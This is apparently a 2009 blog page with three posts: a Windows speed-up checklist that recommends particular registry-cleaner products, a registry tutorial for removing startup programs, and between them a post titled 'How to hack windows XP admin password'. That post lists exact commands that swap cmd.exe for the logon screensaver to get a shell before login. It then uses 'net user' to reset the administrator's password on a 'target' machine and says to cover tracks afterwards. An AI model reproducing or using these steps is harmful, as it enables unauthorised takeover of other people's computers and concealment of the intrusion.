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Saturday, March 28, 2009

Speed Up My PC

How can I speed up my pc?

There are many things that can be done to improve your computer’s speed and keep it running like new. All the things in this article can be done by YOU! Yes, you being the computer user. These tasks can be completed by any user from a beginner to an expert to get your computer in tip-top shape!

There are a lot of different things slowing down your computer. Think about it, every time you download a program, receive an e-mail or visit a website, a trace is left on your computer’s hard drive. The more the hard drive fills up, the slower it runs. This is similar to a person running, the more things you load them up with, the slower they move. Follow each of the tasks below to improve your computer now!

1.) Backup Your Computer

This step may be the most important of all. It is definitely the step you should perform FIRST. If, for any reason, your hard drive crashes, the backup will be your saving point that you can go back to. Backing up your hard drive is fairly easy. Just go to your Start Menu -> All Programs -> Accessories -> System Tools -> Backup. This opens the Backup Wizard from Windows. Just follow the steps of the wizard including what to back up and where to back it up to. Personally, I think backing up to a CD in one of the disk drives or to a USB is the best way to go.

2.) Clear Out the Recycle Bin

Once you’ve backed up your hard drive, one of the easiest things that you can do to make a difference in your computer’s speed is to empty your Recycle Bin. When you right-click an icon on your Desktop and select Delete, delete a photo or file it really just moves into the Recycle Bin. The Recycle Bin holds on to these things for you in case you delete something by mistake and want to retrieve it. If you want to fully delete everything in the Recycle Bin you can right-click it and select Empty Recycle Bin. If you think you may want to keep certain things in there, you can open the bin and completely delete individual items.

3.) Clear Internet Cache

The Internet Cache is where information from each website you visit it stored. This is true for IE and Firefox both. Clearing the cache improves the speed of web browsing and the loading of pages. To clear the cache, just open your web browser and select the Tools menu then click Internet Options. In the General Department click Delete under Browsing History. If you’re using Firefox select the Tools menu and then Clear Private Data -> click Cache -> Clear Private Data Now.

4.) Delete Junk E-mails

You may already know that any time you receive e-mails it creates a spot stored in your hard drive until that e-mail is deleted. The Spam, Junk or Deleted folders of your e-mail inbox are often overlooked. Because of this, there are many junk e-mails being stored and taking up unnecessary space on your hard drive. To fix this, just open your e-mail inbox, select the junk folder and delete all the e-mails. With AOL, MSN and some others, there is also a Deleted Folder. This is so you can go back through and re-open a deleted folder if you accidentally deleted it. Be sure to check through these folders as well to permanently delete any e-mails you do not wish to keep.

5.) Delete Temporary System Files

Windows created a folder in your hard drive that saves and stores any temporary system files loaded. These files may be loaded when using a Microsoft Office program that uses the AutoSave feature, when you open an attachment from an e-mail and from the history from Internet Explorer searches and websites. Storing these temporary files may come in use if you need to go back in and view something, but most often you never need these things. You can use Windows Explorer to search your computer for the Temporary Folder on your hard drive and delete the files you wish to.

6.) Use Disk Cleanup

There is a Disk Cleanup tool built-in to your computer by Microsoft that helps you manage things on the hard disk. This tool is good to use after completing the steps above to insure those things are fully removed from each area of your computer. You can access the Disk Cleanup by going to the Start Menu -> All Programs -> Accessories -> System Tools -> Disk Cleanup. Follow the prompts of the wizard to complete the process.

7.) Use a Malware/Spyware Scanning Program

There are a thousand different choices for a program to get malware and spyware off your computer. Many of these scanning programs will locate and remove anything harmful to your computer’s hard drive. And nothing is slower than an infected computer. Take precaution and repair possible issues before they attack.

8.) Clean the Registry

A thorough search of your registry can be done by PC Registry Cleaner V2, one of my personal favorites. There are many different error-scanning and repairing programs but this one sticks to your registry and cleans any errors that may have entered through a temporary file or download. Removing the bugs and errors makes more room on your computer for the good stuff.

There are several top notch registry cleaners on the market but our favorite 2 are PC Registry Cleaner and Registry Mechanic. Using either of those will help you clean out your registry safely and help you speed up your pc.

9.) Run chkdsk

Chkdsk is another great feature that Windows has built-in to help you manage your computer. It searches through and lets you know the reliability of the files stored on your computer. Any bad files or folders can go and that makes yet more space on your computer. To run this feature, go to your Start Menu -> Run -> type cmd and press Enter -> type chkdsk and press Enter.

10.) Check Drivers

Go through Windows and check your computer’s drivers. You should check for updates and new security features. You can do this online and it makes a world of difference if you get your computer up to date.

11.) Uninstall Unused Programs

As we’ve gone over again and again, anything you can get off your computer increases room and, thus, increases speed. So, it would only make sense to go through your computer and uninstall any programs that are no longer being used. This includes games you installed but no longer play, programs installed that are no longer used and probably some things that Microsoft included on your computer for you but that you don’t use.

Just go to your Start Menu -> Control Panel -> Add/Remove Programs. A list of all the programs installed on your computer will appear. Do a detailed check of the list and remove anything you no longer use. Newer Windows systems will tell you how often the program is used and the last date you used it when you select a program on the list. This may help you decide what can go.

12.) Remove Programs from Startup

This step is specific to your computer’s startup speed but is just as important as the previous steps. There are many programs, whether you set them to or not, that automatically start running when your computer boots up. You can easily go through and choose which programs you would like to run upon startup. Obviously, the more you choose, the longer startup takes. You can use MSCONFIG to sort through the mess. Do NOT uncheck your anti-virus programs from the list of startup programs.

13.) Delete Old & Unused Files

Remember that report in Word you did last year? You saved it, printed it, and turned it in… and it’s still saved on your computer. Go through your old documents and delete the stuff you know you’ll never need again. Quick, easy and effective. Don’t forget to go through your Recycle Bin after wards to fully delete them. *Refer to step 2.

Doing all these steps for the first time is likely to drastically speed up your computer and make it more reliable. This isn’t something you do today and then forget about forever, you should do these steps at least once a month. I do many of these steps weekly to prevent a slowdown in my computer, you should try to do the same.

As for the error scanning steps, I suggest Maximum Software’s line of programs. I use them because they not only locate and repair the errors on your computer but their company offers technical assistance if you own a license like PC Registry Cleaner or Bug Doctor. These scans are a couple of the things I perform weekly to keep my computer going.

I believe you will notice a difference in your computer almost immediately after performing all the steps above! The easiest way to tell? Restart your computer. You should see the difference in the boot up time and then the time it takes your computer to run the programs you open.

Wednesday, March 18, 2009

How to hack windows XP admin password

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.


Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

Sunday, March 15, 2009

Optimizing windows speed using windows registry editor - Get rid of unwanted programs on startup

How to optimize the Windows performance by removing unwanted programs from startup using windows registry. Applicable to Windows XP, Vista, Windows 2000, windows 98 and windows server.

I will start hacking tips with a very useful and easy to do job. Most of us face this problem of computer slowing down; windows operating system takes ages to load when started, windows explorer hangs up and also how to find out whether your computer is infected.

Follow these steps:

  1. Start and click on run in case of windows XP, Server, windows 98, and 2000 but in vista type directly in search box













2. Type Regedit in the run box to open registry editor













3. Go to file menu and click on export to create a back up of registry, save it on your drive other than your default windows directory.














Find out the current programs which are starting up with windows

After opening Registry editor click on HKEY_LOCAL_MACHINE

Software\

Microsoft\

Windows\

Current Version\

Run

You will see something like this on right hand pane in your registry editor
































4.
Now it’s time to get rid of the programs those slow down your operating system and possible may be a Trojan horse hiding in your hard disk.

Right click on any program to delete the entry, which you don’t want to be loaded during startup; personally I would only keep anti virus program entries.














Now you can repeat the same process with HKEY_LOCAL_USER entries and keep only Cftmon.exe for your computer sound to be working












After deleting the unwanted program registry entries, restart the system and feel the difference in speed.